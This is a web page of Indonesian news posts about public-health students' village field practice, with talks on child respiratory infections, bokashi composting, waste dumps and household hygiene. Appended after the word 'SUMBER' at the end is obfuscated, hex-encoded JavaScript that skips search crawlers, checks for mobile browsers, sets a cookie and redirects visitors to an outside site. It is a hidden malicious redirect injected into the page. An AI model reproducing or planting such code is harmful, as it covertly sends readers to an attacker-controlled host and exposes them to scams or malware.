PBL, Mahasiswa Prodi Kesmas Unmuh Pontianak Beri Penyuluhan Tentang ISPA di Desa Tebang Benua

Mahasiswa Prodi Kesmas Fakultas Ilmu Kesehatan Universitas Muhammadiyah Pontianak beri penyuluhan kesehatan bagi warga Desa Tebang Benua, Kecamatan Tayan Hilir, Kabupaten Sanggau, Provinsi Kalimantan Barat, pada tanggal 16 februari 2018.

Kegiatan ini dilaksanakan dalam rangka kegiatan Praktek Belajar Lapangan, yang kami lakukan selama 1 bulan, sejak tanggal 7 Februari hingga 5 Maret 2018 mendatang. Adapun anggota Tim PBL kami di Desa Tebang Benua ini antara lain; Hendri Fitrian (Ketua Kelompok), Anis Setyaningsih, Lili Alfiani, Utin Utami Karlina, Rita Andriati.

PBL Mahasiswa Prodi Kesmas unmuh Pontianak di Desa Tebang Benua

Materi penyuluhan kesehatan yang disampaikan  dalam kesempatan kali ini adalah tentang kejadian ISPA pada balita di Desa Tebang Benua, Faktor-faktor yang berhubungan dengan kejadian ISPA, dan Cara Pencegahan Penyakit ISPA.

Penyuluhan ini dihadiri oleh 43 orang, terdiri ibu-ibu Desa Tebang Benua yang mempuyai balita, kader Posyandu dan Bidan Desa.

Warga Desa Tebang Benua

Ibu-ibu Desa Tebang Benua sangat antusias mengikuti penyuluhan kesehatan ini. Mereka juga aktif bertanya kepada narasumber terkait penyakit ISPA ini.

Harapan kami sebagai penulis, semoga apa yang kami sampaikan sangat bermanfaat bagi masyarakat Desa Tebang Benua, bisa merubah perilaku masyarakat menjadi hidup lebih sehat dan menjaga makanan yang dikonsumsi anaknya maupun keluarganya. Dan materi yang kami sampaikan ini semoga bisa menyampaikan kembali pada kekeluarganya, atau rekan yang tidak bisa hadir dalam pertemuan ini.

Penyuluhan ISPA di Tebang Benua

Bidan Desa, Ibu Dayang Tri Nugrahyu. A Md. Keb, juga menyampaikan harapannya, agar masyarakat setelah ini mau dan mampu merubah perilakunya menjadi lebih sehat, rajin membawa anaknya ke Posyandu, kerana imunisasi juga sebagai pencegah penyakit ISPA.

Mahasiswa Kesmas Univ Al Asyariah Mandar Gelar Penyuluhan, Ini Respon Kepala Desa Duampanua

Semoga dengan adanya penyuluhan dari Mahasiswa Kesmas Univ Al Asyariah Mandar ini,  warga Duampanua termotivasi untuk menjaga kebersihan lingkungan, terutama limbah kotoran hewan.

Mahasiswa Kesehatan Masyarakat  dari Universitas Al Asyariah Mandar mengadakan penyuluhan bagi masyarakat Desa Duampanua, Kecamatan Anreapi, Kabupaten Polewali Mandar, Sulawesi Barat, Jum’at 2 Februari 2018. Kegiatan  ini dalam rangka Praktek Belajar Lapangan (PBL).

Bertempat di Kediaman Kepala Desa Duampanua, acara tersebut dihadiri oleh 25 orang yang sebagian besar teridiri dari para kelompok tani dari berbagai Dusun di Desa Duampanua.

Penyuluhan Bokashi Mahasiswa Kesmas Univ Al Asyariah Mandar

Tema penyuluhan kali ini tentang “Bagaimana Menangani Sampah Organik” dengan narasumber Bapak A. Mukmin, SP, Supervisior BPP Anreapi.

Melalui penyuluhan ini, mahasiswa menyampaikan tentang cara pengolahan sampah organik menjadi Pupuk Bokashi. Pupuk Bokashi sendiri ialah singkatan dari Bahan Organik Kaya Akan Sumber Hayati yang merupakan pupuk kompos yang dihasilkan dari proses fermentasi atau peragian bahan organik dengan teknologi EM4 (Effective Microorganisme 4).

Penduduk Desa Duampanua mayoritas berprofesi sebagai petani. Dan  sekitar  50% penduduknya memelihara hewan ternak di rumah, ini tentu menjadi masalah tersendiri bagi kesehatan masyarakat setempat.

Selain dapat berguna sebagai pupuk, langkah ini juga  menjadi salah satu cara untuk mengatasi kotoran hewan yang dapat merusak sanitasi lingkungan. Sebagai bonus, limbah kotoran hewan Warga Praktek Pembuatan Pupuk Bokashipun juga dapat diolah sebagai Biogas.

 

Selama acara berlangsung masyarakat yang hadir terlihat antusias, terutama ketika sesi narasumber mempraktekan  bagaimana pembuatan pupuk Bokashi. Peserta yang hadir pun berlomba-lomba mengajukan pertanyaannya. Tidak terasa, penyuluhan sore itu pun telah berlangsung sekitar 3 jam.

Kepala Desa Duampanua, Bapak H. Arifin pun mengucapkan terimakasih, serta menyampaikan harapannya. Semoga dengan adanya penyuluhan yang diselenggarakan oleh para Mahasiswa Praktek Belajar Lapangan (PBL) ini,  dapat mendorong para warga Desa Duampanua untuk senantiasa memperhatikan kebersihan lingkungan, terutama dari bahaya limbah kotoran hewan. Serta masyarakat Desa Duampanua mampu menerapkan pengolahan limbah tersebut sebagai sesuatu yang berguna, seperti pupuk Bokashi ataupun Biogas.

Ini Cara Mahasiswa Kesmas Univ Lambung Mangkurat Cegah Warga Desa Ambawang Terus Bakar Sampah

Warga Desa Ambawang, Kecamatan Batu Ampar, Kabupaten Tanah Laut membangun TPS Sampah untuk mengatasi masalah pembakaran sampah di wilayah mereka.

Warga Desa Ambawang, Kecamatan Batu Ampar, Kabupaten Tanah Laut membangun Tempat Penampungan Sementara (TPS) Sampah untuk mengatasi masalah pembakaran sampah di wilayah mereka.

Mahasiswa yang tergabung di Kelompok 9 PBL (Pengalaman Belajar Lapangan) Program Studi Kesehatan Masyarakat Fakultas Kedokteran Universitas Lambung Mangkurat, beranggotakan Muhammad Andri Hasymi Fairiza, Muhammad Reyzaldy Rahim, Akmaliyani, Nor Riski, Sartika, dan Selfi Oktafiani, melakukan kegiatan intervensi kesehatan kepafa masyarakat.

Kelompok 9 PBL mahasiswa kesmas unlam

Kegiatan intervensi meliputi kegiatan penyuluhan kepada warga tentang pengelolaan sampah yang baik dengan membuang sampah ke Tempat Pembuangan Sementara (TPS). Kemudian, bersama dengan warga, mahasiswa membangun TPS pertama di Desa Ambawang.

Kegiatan ini dalam rangka menjadikan warga Desa Ambawang lebih peduli pada kesehatan dengan lebih memilih membuang sampah ke TPS daripada membakar sampah rumah tangga.

Warga sangat mengapresiasi kegiatan penyuluhan dan pembangunan TPS yang telah terlaksana sejak 17 Januari sampai  1 Februari 2018 lalu. Hal itu terbukti dengan keaktifan dan antusiasme warga yang mengikuti penyuluhan, berpartisipasi aktif dalam membangun TPS dan sudah mulai membuang sampah ke dalam TPS.

TPS Sampah Warga Desa Ambawang

“Kami selaku mahasiswa yang PBL di Desa Ambawang ini berharap apa yang sudah kami bangun bersama warga melalui pemberdayaan ini dapat membantu warga dalam mengatasi permasalahan kesehatan yang dihadapi warga sini.” ujar Hasymi selaku Ketua Kelompok PBL.

Meningkatkan Kesehatan Masyarakat Desa Borongtala Dengan PHBS

Jeneponto – Kamis, 3/8, Mahasiswa PBL FKM Universitas Hasanuddin Makassar melaksanakan sosialisasi perilaku hidup bersih dan sehat tingkat rumah tangga.

Jeneponto – Kamis, 3/8, Mahasiswa PBL FKM Universitas Hasanuddin Makassar melaksanakan sosialisasi perilaku hidup bersih dan sehat (PHBS) tingkat rumah tangga.

Bertempat di rumah salah satu kepala dusun Desa Borongtala, kegiatan ini diikuti oleh 22 orang yang terdiri dari kader posyandu dan pengurus PKK Desa Borongtala Kec. Tamalatea Kab. Jeneponto.

Penyuluhan ini dilaksanakan melihat kurangnya kesadaran masyarakat terhadap kesehatan dan kebersihan di tingkat rumah tangga. Selain itu, masyarakat pun masih banyak yang kurang memahami pentingnya kebersihan lingkungan rumah tangga mereka.

Alasan mahasiswa PBL FKM Unhas hanya melibatkan kader posyandu dan pengurus PKK desa dikarenakan terkendala pada bahasa. Mayoritas masyarakat setempat menggunakan bahasa daerah Makassar. Sedangkan bahasa tersebut kurang bisa dipahami oleh mahasiswa PBL.

“Kami hanya melakukan penyuluhan kepada kader posyandu dan pengurus PKK karena hanya mereka yang mengerti bahasa Indonesia dengan baik,” ujar Fahmi selaku koordinator desa.

“Kami berharap dan juga mengarahkan mereka agar mereka ini yang akan menjadi penyuluh kesehatan di Desa Borongtala, jadi saat kami tak ada pun masih tetap dilaksanakan sosialisasi.” tambahFahmi.

Peserta sosialisasi begitu antusias dan berpartisipasi aktif dalam kegiatan. Ditambah pula dalam sosialisasi diselipkan kegiatan menyanyikan lagu cuci tangan pakai sabun bersama-sama sehingga menambah antusiasme peserta.

 

Mahasiswa FKM Pancasakti Makassar PBL di Maros

Sebanyak 55 mahasiswa Fakultas Kesehatan Masyarakat (FKM) Universitas Pancasakti Makassar mengikuti Praktek Belajar Lapangan (PBL) di Kabupaten Maros.

Sebanyak 55 mahasiswa Fakultas Kesehatan Masyarakat (FKM) Universitas Pancasakti Makassar mengikuti Praktek Belajar Lapangan (PBL) di Desa Cenrana baru, Cenrana, Kabupaten Maros, Senin (13/3/2017).

Mahasiswa yang akan berada di Cenrana selama dua pekan ini disambut langsung oleh Camat Cenrana, Muh Yani di kantor Kecamatan di dusun Bengo, Desa Limampoccoe.

“Selamat datang di daerah kami. Warga disini baik dan mudah digerakkan untuk bergotong royong. Jadi jika ada kegiatan, mahasiswa bisa melibatkan langsung warga,” kata Camat berdasarkan rilis yang dikirim oleh mahasiswa PBL, Selasa (14/3/2017)

Yani berharap, peserta PBL bisa mengubah cara berfikir warga supaya bisa hidup sehat.

“Usahakan jangan terlalu banyak melakukan kegiatan fisik. Tapi upayakan membangun mental dan pembinaan,” ujarnya.

Mahasiswa yang diantar langsung oleh dekan FKM UNPACTI Makassar, Lusyana Aripa ini, akan disebar di dusun Malaka, Tanete, Arokke dan Maccini.

SUMBERvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}